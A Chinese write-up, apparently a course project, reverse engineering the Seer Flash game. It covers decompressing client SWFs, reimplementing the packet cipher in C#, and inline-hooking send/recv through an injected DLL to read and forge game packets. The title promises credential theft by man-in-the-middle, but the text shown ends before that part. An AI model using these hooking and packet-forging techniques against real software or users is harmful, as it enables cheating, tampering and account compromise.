赛尔号:通信协议逆向与模拟&中间人攻击窃取登录凭证
2021-07-08 17:35:23 Author: mp.weixin.qq.com(查看原文) 阅读量:206 收藏

作者坛账号:iyzyi

写在前面

很早之前就想写这篇文章了,但是碍于一直没有时间,只能作罢。没想到这学期刚好有信息内容安全这门课程,课设是开放式的,于是利用这个机会写成此文。

代码开源在:GitHub - iyzyi/SeerPacket

本文所用工具:

工具描述
JPEXS Free Flash DecompileFlash反编译工具
fiddlerHTTP调试抓包工具
WireShark流量分析工具
wpe封包分析工具
x64dbg程序调试器
vscode查看代码
kali中间人攻击

批量获取客户端运行所需swf

首先,我们需要批量获取游戏运行所需的(尽可能全部的)swf。但是手动下载必然是不现实的。这里我们可以借助fiddler来实现自动保存。

规则->自定义规则,打开fiddler script editor。

原本的OnBeforeResponse函数:

 复制代码 隐藏代码
    static function OnBeforeResponse(oSession: Session) {
        if (m_Hide304s && oSession.responseCode == 304) {
            oSession["ui-hide"] = "true";
        }
    }

改成:

 复制代码 隐藏代码
    static function OnBeforeResponse(oSession: Session) {
        if (m_Hide304s && oSession.responseCode == 304) {
            oSession["ui-hide"] = "true";
        }
                // iyzyi添加,swf文件自动保存
                oSession.utilDecodeResponse();
                if (oSession.oResponse.headers.ExistsAndContains("Content-Type", "application/x-shockwave-flash")) {
                        var str = oSession.url;
                        var index = str.lastIndexOf("?")
                        if (index != -1){
                                str = str.substring(0,index);
                        }
                        oSession.SaveResponseBody("C:\\seer-swf\\" + str);
                }
                // iyzyi添加,swf文件自动保存
    }

上面脚本的作用是:当接收到响应response时,如果其Content-Type是application/x-shockwave-flash,则自动将其保存到文件夹c:\seer-swf中。

fiddler script是用js写的,大家可以自己按照自己的需求去修改。

然后就可以打开赛尔号了,记得打开之前先清理一下缓存,不然有的swf会在本地缓存里面,并不会通过http下载。

https://i0.hdslb.com/bfs/album/1cab1bc25e0843cb666742e05bb7215813d351fa.png

自动保存的效果:

上面我写的这个脚本可以从url中提取至各自所属的文件夹。如果全部文件只需要保存到一个文件夹内(而不需要子文件夹),可以直接oSession.SaveResponseBody("C:\seer-swf\" + oSession.SuggestedFilename);

更多接口可查阅:Class Session - Telerik UI - API Reference

解密被”加密“的swf

首先判断一下下载下来的swf是否有加密,如果swf未加密,则文件头应为CWS或FWS。

简单写个python脚本判断下:

 复制代码 隐藏代码
import os, zlib

g = os.walk(r"C:\seer-swf\seer.61.com")  
for path,dir_list,file_list in g:  
    for file_name in file_list:  
        file = os.path.join(path, file_name)
        with open(file, 'rb')as f:
            b = f.read()
            if b[:3] != b'CWS':
                print(file, b[:16])

这些xml不重要,关键是swf的解密,接下来我们就来看看。

思路一 逆向相关解密逻辑

加密的swf必然会有解密的过程。

在fiddler中观察打开赛尔号后的swf下载的顺序,依次是:

 复制代码 隐藏代码
Client.swf
version1622789832.swf
Assets.swf
TaomeeLibraryDLL.swf
Login.swf
后面的省略

为了方便分析,我们将全部控件导出来,再分析。点击导出所有控件:

导出结果:

装完插件后就可以高亮代码了:

OnComplete是回调函数,当触发COMPLETE事件时,自动执行此函数:

我们知道了在Client.swf中,对加密的swf,从第7个字节往后的数据进行了uncompress(解压缩)操作,但是不知道这个函数使用的是什么算法。google一下,

在ByteArray - Adobe ActionScript® 3 (AS3 ) API Reference可以查到:

compress()和uncompress()只支持zlib, deflate, lzma这三种压缩算法,且默认使用zlib算法。

反编译的Client.swf代码中,并没有传入参数,所以使用的是默认的zlib算法。

那我们用python简单写个解密脚本:

 复制代码 隐藏代码
import os, zlib

compress_files = [r'dll\PetFightDLL_201308.swf', r'dll\RobotAppDLL.swf', r'dll\RobotApp_2DLL.swf', r'dll\RobotCoreDLL.swf', r'dll\TaomeeLibraryDLL.swf']
for file in compress_files:
    file_path = 'C:\\seer-swf\\seer.61.com\\' + file
    with open(file_path, 'rb')as f:
        b = f.read()[7:]
    db = zlib.decompress(b)
    with open(''.join(file.split('.')[:-1]) + '-decompressed.swf', 'wb')as f:
        f.write(db)

dll\PetFightDLL_201308.swf前面没有提到过,其实这个是精灵对战的核心组件,由于前面我进入游戏后没有进行精灵对战,所以这个swf并没有下载到本地。

你会发现,上面的脚本无法解密version1622789832.swf,这是因为version1622789832.swf的解压并不是net\DLLLoader.as完成的,而是在com\taomee\plugins\versionManager\TaomeeVersionLoader.as中完成的:

分析代码可以发现,其实还是zlib,只不过现在是从第8个字节开始解压,稍微改下前面的解密代码:

 复制代码 隐藏代码
import os, zlib

with open(r'version\version1620376713.swf', 'rb')as f:
    b = f.read()[8:]
    db = zlib.decompress(b)
    print(db[:16])
    with open(r'version\test-decompress', 'wb')as f:
        f.write(db)

解压后确实还是乱码,但是别担心,这就是官方的文件格式:

com\taomee\plugins\versionManager\TaomeeVersionLoader.as中解压versionxxxxxxxxxx.swf后,触发VERSION_LOADED事件,将自动执行com\taomee\plugins\versionManager\TaomeeVersionManager.as中的this.versionLoadedHandler函数。

绑定事件与事件处理函数:

this.versionLoadedHandler函数:

缺点嘛,大概就是,无法得知该swf的名字和路径。

通信协议的逆向

定位至相关swf

我们并不知道通信协议相关的代码在哪个swf中,但是我们几乎可以肯定,通信协议的构建,必须在游戏一开始的时候完成(不然游戏怎么进行后续的通信嘛),所以这相关的代码,必定在开头几个下载的swf中,我们依次拖进JPEXS Free Flash Decompile分析一下即可。

前面我们说过,在fiddler中观察打开赛尔号后的swf下载的顺序,依次是:

 复制代码 隐藏代码
Client.swf
version1622789832.swf
Assets.swf
TaomeeLibraryDLL.swf
Login.swf
后面的省略

Client.swf是首先被下载的,开始进行游戏的初始化,包括下载其他必需swf,xml等等。

versionxxxxxxxxxx.swf解压缩后并不是swf,而是一个官方自定义文件格式,用于构建一个字典。这一点前面有说过。

Assets.swf主要是一些登录过程中加载的素材:

上图第一个搜索到的socket字符串位于MDecrypt.as中,本文件内只有一个函数,即MDecrypt,所以我们可以继续搜索MDecrypt(字符串,如下图:

可以注意到我这里搜索的是MDecrypt(,而不是MDecrypt,是带着左括号的。这是因为MDecrypt字符串大量出现,但是如果作为函数出现在代码中的话,是一定带着左括号的。这样能过快速过滤一些不重要的字符串,算是一个小技巧吧。

继续搜索encrypt(

然后重载了send函数,该函数用于向服务器发送数据:

该函数用到了serializeBinary()和packHead()。

serializeBinary()函数用于将各种数据结构的数据 进行序列化,即转化成二进制流的形式(可以理解成字节数组),以便在网络中数据的传输:

综上所述,pack()函数,用于将数据组装成一个封包,其中包含封包头和封包体,其中封包头有17字节,后面跟着封包体。

所谓封包,其实就是数据包(data packet),用于与服务器进行数据的交互。本文的后续章节还会详细的聊一聊封包这个概念,这里先暂且一放。

很明显,这个函数将前面封装好的明文封包进行加密。

首先将封包中前四个字节读出来,然后将剩下的数据通过MEncrypt()进行加密。最后的封包由两部分构成:

| 4字节的封包长度 | 加密数据 |

我们主要来看下MEncrypt()这个函数。

封包加解密算法

全局搜索Mencrypt(,定位至com\fcc\Mencrypt.as

很明显,除了第一次循环key之外,此后每次循环,都要连续使用两次key[0]。

到这里,解密算法就算分析完了,这里我给出我用c#写的模拟算法:

 复制代码 隐藏代码
static public byte[] Decrypt(byte[] cipher)
{
    int result = Key[(cipher.Length - 1) % Key.Length] * 13 % (cipher.Length);
    cipher = Misc.ArrayMerge(Misc.ArraySlice(cipher, cipher.Length - result, cipher.Length), Misc.ArraySlice(cipher, 0, cipher.Length - result));

    byte[] plain = new byte[cipher.Length - 1];

    for (int i = 0; i < cipher.Length - 1; i++)
    {
        plain[i] = (byte)((cipher[i] >> 5) | (cipher[i + 1] << 3));
    }
    int j = 0;
    bool NeedBecomeZero = false;
    for (int i = 0; i < plain.Length; i++)
    {
        if (j == 1 && NeedBecomeZero)
        {
            j = 0;
            NeedBecomeZero = false;
        }
        if (j == Key.Length)
        {
            j = 0;
            NeedBecomeZero = true;
        }
        plain[i] = (byte)(plain[i] ^ Key[j]);
        j++;
    }
    return plain;
}

然后对上述解密算法进行算法求逆,同时结合MEcnrypt.as,写出如下加密的模拟算法:

 复制代码 隐藏代码
static public byte[] Encrypt(byte[] plain)
{
    byte[] cipher = new byte[plain.Length + 1];

    int j = 0;
    bool NeedBecomeZero = false;
    for (int i = 0; i < plain.Length; i++)
    {
        if (j == 1 && NeedBecomeZero)
        {
            j = 0;
            NeedBecomeZero = false;
        }
        if (j == Key.Length)
        {
            j = 0;
            NeedBecomeZero = true;
        }
        cipher[i] = (byte)(plain[i] ^ Key[j]);
        j++;
    }
    cipher[cipher.Length - 1] = 0;

    for (int i = cipher.Length - 1; i > 0; i--)
    {
        cipher[i] = (byte)((cipher[i] << 5) | (cipher[i - 1] >> 3));
    }
    cipher[0] = (byte)((cipher[0] << 5) | 3);

    int result = Key[(plain.Length) % Key.Length] * 13 % (cipher.Length);
    cipher = Misc.ArrayMerge(Misc.ArraySlice(cipher, result, cipher.Length), Misc.ArraySlice(cipher, 0, result));

    return cipher;
}

通信密钥

上面我在分析封包加解密算法的时候提到过,com.robot.core.net.SocketConnection.key是通信密钥,但只是分析了加解密算法,但是没有分析密钥具体是啥。那么这一部分我们就一起来分析下这个密钥。

com.robot.core.net.SocketConnection.as是在RobotCoreDLL.swf反编译的代码中。或许大家会问怎么定位至这里的。其实,你把最开始我说得那几个“加密”过的swf“解密”并且反编译后,将全部的代码放到同一文件夹下,然后按照RobotCoreDLL\com\robot\core\net\SocketConnection.as这个路径即可很容易找到这里。搜索字符串也行。反正方法有好多。

在主socket连接建立时,绑定LOGIN_IN这个封包和onLogin这个函数。当客户端收到命令号为LOGIN_IN的封包时,触发onLogin这个函数。

然后客户端发出LOGIN_IN包,等待服务端发回LOGIN_IN包。

onLogin():

这里为了防止我们直接搜索字符串而定位至该函数,淘米的程序员对字符串进行了一点点混淆。

经过处理后:

v2 = "com.robot.core.net.SocketConnection"
v3 = "setEncryptKeyStringArr"

之后param1异或登录用户的米米号,然后计算该值的md5,取前10个字节,然后在每个字符的前后都加上一个星号,记作string_a,最后调用com.robot.core.net.SocketConnection.setEncryptKeyStringArr(string_a)。

根据前面我们分析过的setEncryptKeyStringArr,再删去所有的星号,即为更改后的通信密钥。

那问题只剩下一个了,initKey()的param1是谁?

我们回到调用了initKey()的onLogin()中:

com.robot.core.manager.MainManager.setup():

虽然定位至了读取封包体数据流的地方,但是,这里的readxxxxxx()太多了,有的还是一个不定长的while循环中进行的:

在登录之前,本地客户端发出的所有封包的命令号均为100+i,i < 10,具体的定义可在Login.swf反编译的代码中找到:

打开游戏后,最开始传输的几个封包:

第147行的循环,对封包体的数据进行异或,计算得到crc8_val。

第151行的this._result中保存的是上一次发送的封包的序列号。

然后调用了MSerial这个函数。由此看见,赛尔号的封包的序列号与以下4个参数有关:

  • 上一次发送的封包的序列号

  • 封包长度

  • 封包体数据(异或求得crc8_val)

  • 命令号

全局搜索MSerial,可以定位至com\fcc\MSerial.as:

与之相对应的接收通信数据的函数为recv, WSARecv, recvfrom。

send函数只能一次发送一个缓冲区,这对于在发送大量数据的时候或者数据包很多的时候就可能导致可能导致系统的低性能,主要原因在于调用太多次的send函数,导致从用户态到核心态的不断切换,而耗费了当前的CPU时钟周期。

WSASend函数支持一次发送多个BUFFER的请求,每个被发送的数据被填充到WSABUF结构中,然后传递给WSASend函数同时提供BUF的数量,这样WSASend就能上面的工作而减少send的调用次数,来提高了性能。

sendto一般用于UDP协议,但是如果在TCP中connect函数调用后也可以用。

要想拿到通信数据,我们首先要确定赛尔号使用的是send/recv,sendto/recvfrom,WSASend/WSARecv这三组中的哪一组函数进行的通信。

如何确定赛尔号是使用哪个发包函数呢?

其实赛尔号的发包,使用的是action script3中的flash.net.socket.flush(),至于flash.net.socket.flush()是用哪个底层函数实现的,我去查官方手册Socket - Adobe ActionScript® 3 (AS3 ) API Reference并没有查到。

public function flush():void

Flushes any accumulated data in the socket's output buffer.

On some operating systems, flush() is called automatically between execution frames, but on other operating systems, such as Windows, the data is never sent unless you call flush() explicitly. To ensure your application behaves reliably across all operating systems, it is a good practice to call the flush() method after writing each message (or related group of data) to the socket.

索性直接动调一下。运行赛尔号后,使用x64dbg附加进程,然后分别在send和WSASend处下断点,接着在游戏中做一次交互,从而发出一个封包。此时程序在send函数的断点处停下。

send:

多次尝试,每次在游戏中做交互,都是断在send函数处。同样可以在recv函数处成功下断。这说明,主socket的通信是send/recv函数来实现的。

不过偶尔也会断在WSASend函数处。这是因为赛尔号游戏过程中,不只有主socket。还要下载swf,还要访问http服务,等等,这些操作,用到了WSASend函数。

inline hook send() & recv()

一开始我是想使用c#的第三方通用hook框架——easyhook的,但很神奇的是总会有一些通信数据拿不到,无奈只能自己用vc写dll,然后c#加载这个dll来实现hook。

实现的hook的方法有很多,《加密与解密》第13章对此有详细的介绍。

这里我采用的是inline hook的方法。

inline hook的实现原理其实很简单,就是在目标函数的开头,通过jmp, call, ret等指令,跳转执行我们事先插入的代码。执行完这些代码后,再跳回继续执行目标函数。

以ws2_32.dll中的send函数为例,具体的实现过程是这样的(这里只讨论x64):

  1. 获取目标函数在内存中的地址

比如说ws2_32.dll中的send函数,在ws2_32.dll已经加载进内存的前提下(这一前提无需我们考虑,但凡是个网游,肯定要加载这个dll),我们可以通过GetAddress(“ws2_32.dll", "send");来获取该函数在内存中的地址。

前2条指令长度为10,长度不够覆写的。

前3条指令长度为15,覆写成跳转指令后,还有3个字节的剩余。

为了清除指令碎屑,我们也要把这三个多余的字节nop掉,机器码为90。

所以最终可以这样构造:

 复制代码 隐藏代码
pHookData->newEntry[0] = 0x48;
pHookData->newEntry[1] = 0xb8;
*(ULONG_PTR*)(pHookData->newEntry + 2) = (ULONG_PTR)pHookData->pfnDetourFun;
pHookData->newEntry[10] = 0xff;
pHookData->newEntry[11] = 0xe0;
pHookData->newEntry[12] = 0x90;
pHookData->newEntry[13] = 0x90;
pHookData->newEntry[14] = 0x90;

然后用这段跳转代码,覆写目标函数开头的3条指令,刚好都是15字节:

 复制代码 隐藏代码
BOOL WriteProcessMemory(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten)
;

hProcess是当前游戏进程。lpBaseAddress是要进行写入数据操作的地址,即目标函数的地址。lpBuffer是前面我们构造的跳转指令pHookData->newEntry的地址。nSize是写入数据的大小。lpNumberOfBytesWritten为成功写入了多少字节。

这样就可以把目标函数原来的开头3条指令,篡改成我们精心构造的跳转指令。

可以仔细对比下面两图的开头15个字节的机器码:

hook前:

  1. 构造跳转至原目标函数的代码,拼凑出原目标函数

前面说过,执行完我们插入的代码后,为了不影响程序的正常功能,还要在Detour函数内跳回继续执行原目标函数。

总不能说我hook了send这个函数,获取了将要发送的通信数据后,却不把这个通信数据发出去吧。

跳转至原目标函数的代码共有两部分。

第一部分是目标函数被覆写的那几条指令。

第二部分是跳转至目标函数地址+n,n为被覆写的那几条指令的大小。

对于我们前面提到的send函数,应该这样构造:

 复制代码 隐藏代码
48 89 5C 24 08                                                mov     [rsp+8], rbx
48 89 6C 24 10                                                mov     [rsp+10], rbp
48 89 74 24 18                                                mov     [rsp+18], rsiff 25 xx xx xx xx xx xx xx xx                 jmp                目标函数地址+15

为啥是目标函数地址+15呢?

因为我们覆写了15字节的指令,此时目标函数的开头15个字节,其实是跳转至我们自定义的Detour函数处的指令。

此时如果jmp目标函数地址处,继续执行的还是我们自定义的Detour函数。然后从Detour函数中又jmp到目标函数地址处。这样循环往复,一直跳来跳去,程序必崩。

而如果我们先执行提前拷贝出来的开头3条指令,共15字节,然后跳转到原目标函数地址+15处继续执行第四条指令。

这样一来,我们就拼凑出了原目标函数。

构造完成后,我们需要考虑如何执行我们所构造的代码。

在x86中,vc支持内嵌汇编,所以可以将这4条代码使用__asm{}嵌入c++代码中。

但是我c#构建的程序是x64的,所以我写的dll也必须是x64的,这样才能加载进程序内存中。

x64并不支持内嵌汇编。所以我们需要先使用VirtualAlloc(NULL, 128, MEM_COMMIT, PAGE_EXECUTE_READWRITE);申请一段内存,记起始地址为A,该段内存设置为可读可写可执行。然后将前面我们构造的4条指令的机器码,写入该段内存。

之后如果需要调用原始目标函数,直接call A就可以调用通过拼凑出的原始目标函数。

我这边进行hook send时,自定义的Detour函数是在c#中实现的。这部分的具体内容会在下一小节介绍,这里我为了方便大家抓住重点,改用recv函数作讲解。

这里给出hook recv函数时,我们自定义的Detour函数:

 复制代码 隐藏代码
int WINAPI My_Recv(SOCKET s, char *buf, int len, int flags)
{
        int ret = OriginalRecv(s, buf, len, flags);                // 拼凑出的原始目标函数
        if (ret > 0) {
                if (RecvCallBack) {
                        RecvCallBack(s, buf, ret);                                // 回调函数,将通信数据传给c#主程序
                }
        }
        return ret;
}
}

自定义的Detour函数中,先执行原始目标函数,还是后执行原始目标函数,其实没有限制,这取决于你的需求。在recv函数中,最好是先把数据接收了,再对数据做分析。所以这里我先执行的原始目标函数。

回调函数先不要管,下一小节再讲。

这里我们来动调看一下整个hook过程,以便加深理解。

hook前的recv函数是这样的:

运行至下图处,即将调用拼凑出的原目标函数。

即将跳转至recv函数地址+15:

通过上面的过程,我们就实现了hook,从而可以拿到经过send和recv传输的通信数据。

通信数据从dll传给c

主程序我是用c#写的,hook.dll是用vc写的。

一个问题摆在我的面前,主程序加载了hook.dll后,通信数据确实可以被hook.dll获取,并可以通过printf等的方式在缓冲区打印出来。但问题是,使用c#开发的主程序,如何获取这些数据呢?也就是hook.dll获取通信数据后,如何将数据传给c#。

参考了很多思路,最后决定使用回调函数来实现。

什么是回调函数呢?顾名思义,回调函数就是回头再调用它。回调函数其实就是一个参数,将这个函数的地址作为参数传到另一个函数里面,当那个函数执行完之后,再执行传进去的这个函数。这个过程就叫做回调。

具体是这样实现的:

主程序加载hook.dll后,首先调用hook.dll中的SetRecvCallBack()和SetSendCallBack(),将位于c#写的主程序中的RecvCallBack()和SendCallBack()这两个回调函数的地址,传给hook.dll中。

然后主程序调用Inline_InstallHook_Send()和Inline_InstallHook_Recv()这两个函数,安装对send()函数和recv()函数的hook。安装的过程就是上一节所描述的inline hook的过程。

此后,如果主程序调用了send或recv函数,由于hook了,将先跳转执行我们自定义的Detour函数:My_Send()和My_Recv()。

在My_Send()和My_Recv()中分别调用SendCallBack()和RecvCallBack(),后两个函数位于c#写的主程序中,从而将通信数据传递给了主程序。

SendCallBack()和RecvCallBack()中进行了后续的数据处理,比如说提取封包等等。

vc写的dll中:

 复制代码 隐藏代码
// 导出函数
_EXTERN_C_ void SetRecvCallBack(CallBackFun1 pFun);
_EXTERN_C_ void SetSendCallBack(CallBackFun2 pFun);
_EXTERN_C_ BOOL Inline_InstallHook_Recv();
_EXTERN_C_ BOOL Inline_InstallHook_Send();
_EXTERN_C_ int WINAPI RealSend(SOCKET s, const char *buf, int len);

// 回调函数的指针
typedef void(*CallBackFun1)(SOCKET s, char* buf, int len);
typedef int (*CallBackFun2)(SOCKET s, const char *buf, int len);

// 回调函数的指针(该函数位于c#中)
CallBackFun1 RecvCallBack = NULL;
CallBackFun2 SendCallBack = NULL;

void SetRecvCallBack(CallBackFun1 pFun) {
        RecvCallBack = pFun;
}

void SetSendCallBack(CallBackFun2 pFun) {
        SendCallBack = pFun;
}

int WINAPI My_Recv(SOCKET s, char *buf, int len, int flags)
{
        int ret = OriginalRecv(s, buf, len, flags);                // 拼凑出的原始的recv函数
        if (ret > 0) {
                if (RecvCallBack) {
                        RecvCallBack(s, buf, ret);                                // 位于c#主程序中的回调函数
                }
        }
        return ret;
}

int WINAPI My_Send(SOCKET s, const char *buf, int len, int flags)
{        
        return SendCallBack(s, buf, len);                                // 位于c#主程序中的回调函数
}

// 调用此函数相当于调用原始的send函数
int WINAPI RealSend(SOCKET s, const char *buf, int len) {
        return OriginalSend(s, buf, len, 0);                // 拼凑出的原始的send函数
}

你会发现My_Recv()是先调用了拼凑出的原始的recv函数——OriginalRecv(),再调用了c#中的回调函数。

而My_Send()直接调用了c#中的回调函数,并没有调用OriginalSend()。

这是因为,我是在c#中的回调函数SendCallBack()中的Packet.ProcessingSendPacket()中的SendPacket.Send()中调用了Hook.RealSend(),Hook.RealSend()也就是OriginalSend()。

非要这么迂回的原因在于,我不能直接在dll中直接调用OriginalSend(),这样会导致我没有机会对数据流中的封包进行修改,因为我修改封包数据的相关代码都在c#层。如果在dll层直接调用了OriginalSend(),就像My_Recv()中的那样,那么我是无法修改序列号,无法伪造封包等等,虽然我可以拿到send的数据,但是当我在c#层拿到这些数据的时候,数据已经发送出去了,相当于我拿到了一份只能看,不能改的数据。所以OriginalSend()的调用,必须放在我修改了封包数据之后,即放到c#层中调用。

c#写的主程序中:

 复制代码 隐藏代码
class Hook
{
    //根据DLL中的回调函数的原型声明一个委托类型并实例化
    [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
    public delegate int Delegate(int socket, IntPtr buf, int len);
    static Delegate pRecvCallBack = new Delegate(RecvCallBack);
    static Delegate pSendCallBack = new Delegate(SendCallBack);

    // 导入hook.dll中的函数
    [DllImport("hook.dll")]
    public static extern bool Inline_InstallHook_Recv();
    [DllImport("hook.dll")]
    public static extern bool Inline_InstallHook_Send();
    [DllImport("hook.dll")]
    public static extern void SetRecvCallBack(Delegate pFun);
    [DllImport("hook.dll")]
    public static extern void SetSendCallBack(Delegate pFun);
    [DllImport("hook.dll")]
    public static extern int RealSend(int socket, IntPtr buffer, int length, int flags);   //本函数等效于HOOK前的send函数

    //初始化
    public static void InitHook()
    {
        //设置回调函数。将RecvCallBack、SendCallBack的函数地址pRecvCallBack、pSendCallBack传入HOOK.DLL
        SetRecvCallBack(pRecvCallBack);
        SetSendCallBack(pSendCallBack);

        //安装Hook
        Inline_InstallHook_Recv();
        Inline_InstallHook_Send();
    }

    //排他锁
    private static object RecvLock = new object();
    private static object SendLock = new object();

    //接收封包 回调函数
    public static int RecvCallBack(int socket, IntPtr buf, int len)
    {
        lock (RecvLock)
        {
            // 复制缓冲区数据
            byte[] temp = new byte[len];
            Marshal.Copy(buf, temp, 0, len);

            // 处理接收封包
            Packet.ProcessingRecvPacket(socket, temp, len);               
            return 0;
        }
    }

    //发送封包 回调函数
    public static int SendCallBack(int socket, IntPtr buf, int len)
    {
        lock (SendLock)
        {
            // 复制缓冲区数据
            byte[] temp = new byte[len];
            Marshal.Copy(buf, temp, 0, len);

            // 处理发送封包
            int res = Packet.ProcessingSendPacket(socket, temp, len);        
            return res;
        }
    }
}

上述c#代码中,我们首先声明一个委托类型并实例化。

c#中的委托(Delegate)类似于 C 或 C++ 中函数的指针。委托是存有对某个方法的引用的一种引用类型变量。引用可在运行时被改变。委托特别用于实现事件和回调方法。

如果类比c\c++中的指针的概念,pSendCallBack和pSendCallBack分别为SendCallBack和RecvCallBack两个函数的地址。不过在c#中,我们称其为委托。

然后,我们导入了hook.dll中的5个函数。

然后是初始化hook:

  • 先通过hook.dll中的SetRecvCallBack(pRecvCallBack)和SetSendCallBack(pSendCallBack)这两个函数,将SendCallBack()和RecvCallBack()这两个c#中的函数的“地址”(在c#中称为委托),传入hook.dll中,从而初始化回调函数的地址。

  • 然后使用Inline_InstallHook_Recv()和Inline_InstallHook_Send()进行inline hook。

最后就是SendCallBack()和RecvCallBack()的定义。两个函数都是先拷贝缓冲区的数据,然后分别交由Packet.ProcessingSendPacket()和Packet.ProcessingRecvPacket()进行后续的封包的解析等处理。这部分留待下一章再继续讨论。

同时,你会发现SendCallBack()和RecvCallBack()中,我均使用了排他锁。这是因为赛尔号的封包传输必须是阻塞的,一旦允许并发发送\接收封包,序列号的计算等必然出大问题。本来B包应晚于A包发送,但如果没有做好阻塞的话,很可能B包早于A包发送给服务端,此时本地计算的B包的序列号,并不等于远程服务端计算的此包的序列号。

以上我的实现仅供参考。因为代码主要是一年前完成的,那时候我刚接触c#,一定程度上其实没有较好地实现接口分层。如果让现在的我再来重新设计一下通信数据的传递过程的话,或许会简洁一下分层。不过暂时没时间继续完善了。

封包的相关处理

TCP/IP分层模型

TCP/IP模型分为5层,从下到上分别是物理层,数据链路层,网络层,传输层,应用层。

层名内容
物理层信号如何在计算机网络中流动
数据链路层信道中数据帧怎么到达目的结点
网络层数据包怎么在互联网中寻路和转发
传输层如何保证端到端的可靠传输
应用层互联网提供了哪些高层应用
  1. 物理层

物理层一般为负责数据传输的硬件,比如我们了解的双绞线电缆、无线、光纤等。比特流光电等信号发送接收数据。

  1. 数据链路层

数据链路层一般用来处理连接硬件的部分,包括控制网卡、硬件相关的设备驱动等。传输单位是数据帧。

  1. 网络层

来处理网络中流动的数据包,数据包为最小的传递单位,比如我们常用的ip协议、icmp协议、arp协议等。

  1. 传输层

传输层的作用就是将应用层的数据进行传输转运。比如我们常说的tcp(可靠的传输控制协议)、udp(用户数据报协议)。传输单位为报文段。

tcp面向连接(先要和对方确定连接、传输结束需要断开连接,类似打电话)、复杂可靠的、有很好的重传和查错机制。一般用与高速、可靠的通信服务。

udp面向无连接(无需确认对方是否存在,类似寄包裹)、简单高效、没有重传机制。一般用于即时通讯、广播通信等。

  1. 应用层

应用层是我们经常接触使用的部分,比如常用的http协议、ftp协议(文件传输协议)、snmp(网络管理协议)、telnet (远程登录协议 )、smtp(简单邮件传输协议)、dns(域名解析)。这里的应用层集成了osi分层模型中的应用、会话、表示层三层的功能。

数据的封装和分用

本小节的资料引用自一个 HTTP 请求的曲折经历

数据在经过每一层的时候都要被对应的协议包装,到达终端的时候,要一层一层的解包。这两个过程叫封装和分用。

发送时,用户数据被HTTP封装为报文,每一层会将上层传过来的报文作为本层的数据块,并添加自己的首部,其中包含了协议标识,这一整体作为本层报文向下传递。

接收时,数据自下而上流动,经过每一层时被去掉报文首部,根据报文标识确定正确的上层协议,最终到应用层被应用程序处理。

这一过程经过每层的时候都会被增加一些首部信息,有时还需要增加尾部信息,每一层都会把数据封装到各自的报文中, 并在报文首部添加协议标识,这个过程叫封装。

分用

终端接收到一个以太网数据帧时,数据自底层向上流动,去掉发送时各层协议加上的报文首部,每层协议都要检查报文首部的协议标识,从而确定上层协议,保证数据被正确处理,这个过程叫分用。

该条封包没有封包体,只有封包头,长度为17,数据是00 00 00 11 31 00 00 00 65 00 00 00 00 00 00 00 00。0x11是长度,0x31是协议号,0x65是命令号101即GET_VERIFCODE,米米号和序列号均为0。

这17字节的封包数据,位于应用层。实际发往服务端的数据包,是被底层系统逐层(应用层->传输层->网络层->链路层)封装过的,并不只有应用层这17字节,而是总计83字节。

使用wireshark抓包,找到GET_VERIFCODE这条封包所在的数据包:

以太网首部:

TCP首部:

什么是封包

前面我提及频率最高的一个词语,大概就是“封包”了。但是我一直没有正面回答封包到底是什么。这一小节,我们就来讨论一下封包这个概念。

封包是游戏开发者自己定义的一种格式的数据包,在TCP/IP模型中,一般位于应用层。通过一定的协议的封装,在网络中传输,用于游戏客户端与服务端直接的数据交互。

在绝大多数游戏辅助相关的博文中,前辈们大都使用封包这个名称,所以我也跟着沿用封包这个概念。

封包其实就是数据包,即data packet。不过,数据包的含义实在太过广泛,有ip数据包,udp数据包,arp数据包等等。于是在游戏通信协议的分析中,我们一般把游戏开发人员在应用层,自定义的、满足一定格式的数据包,称之为封包。这里的封包,不考虑底层系统对该包的逐层封装的数据,只考虑位于应用层的数据。

比如上一小节中的GET_VERIFCODE所在的数据包:

以上格式指的是明文的封包。

但是,除了开头几个命令号小于1000的封包是直接明文传输的之外,其后的所有封包,都是加密传输的。

因此,在抓包的时候,你只能看到:

上图的左右两部分,是同时进行的。一边实时地将接收到的数据拷贝到我们自己维护的缓冲区中,另一边一直循环判断是否能够取出一条完整的封包,如能则取出,如不能则继续循环判断,直到新的数据写入了我们自己维护的缓冲区。

这是我用c#实现的处理粘包和断包的部分代码:

 复制代码 隐藏代码
// 接收到数据时自动执行此函数
public static void ProcessingRecvPacket(int socket, byte[] buffer, int length)                                                
{
    _PacketData RecvPacketData = new _PacketData();

    Array.Copy(buffer, 0, RecvBuf, RecvBufLen, length);                     //接收封包的数据追加到接收封包缓冲区的尾部,以解决断包的问题
    RecvBufLen += length;                                                   //更新接收封包缓冲区的长度

    while (true)                                                                //从接收封包缓冲区中不停地取出一条条接收封包,直到取完或遇到断包
    {
        if (RecvBufLen >= 4)
        {
            int PacketLen = Misc.GetIntParam(RecvBuf, RecvBufIndex);
            if (RecvBufIndex + PacketLen <= RecvBufLen)                         //不是断包
            {
                byte[] cipher = Misc.ArraySlice(RecvBuf, RecvBufIndex, RecvBufIndex + PacketLen);   //取出一条接收封包

                byte[] plain;
                if (NeedDecrypt(cipher))                                          //解密或者不解密封包
                {
                    plain = decrypt(cipher);
                }
                else
                {
                    plain = cipher;
                }

                ParsePacket(plain, ref RecvPacketData);                         //解析封包
                RecvPacketNum++;
                Program.UI.AddList("recv", RecvPacketNum, ref RecvPacketData, plain, cipher);           //更新UI界面的列表

                RecvBufIndex += PacketLen;                                      //更新接收封包缓冲区的索引
            }
            else                                                                //断包,等待下一次接收封包的到来
            {
                break;
            }
        }
        else                                                                    //断包,等待下一次接收封包的到来
        {
            break;
        }

        // 取完缓冲区内所有的包后重置RecvBufLen和RecvBufIndex
        if (RecvBufIndex == RecvBufLen)
        {
            //如果接收封包缓冲区索引等于接收封包缓冲区长度
            //说明刚好取完所有的包,不存在断包的情况,所以此时将二者的值都设为0
            RecvBufLen = 0;
            RecvBufIndex = 0;
        }
    }
}

这是赛尔号的开发人员在action script中实现的:

 复制代码 隐藏代码
// 当接收到数据时,自动执行此函数(因为在connect()函数中绑定了SOCKET_DATA事件与此函数)
private function onData(e:Event) : void   
{
    var msgLen:int = 0;
    var ba:ByteArray = null;
    DebugTrace.show("socket onData handler....................");
    this._chunkBuffer.clear();
    if(this._tempBuffer.length > 0)                                // 如果_tempBuffer缓冲区大小大于0
    {
        this._tempBuffer.position = 0;
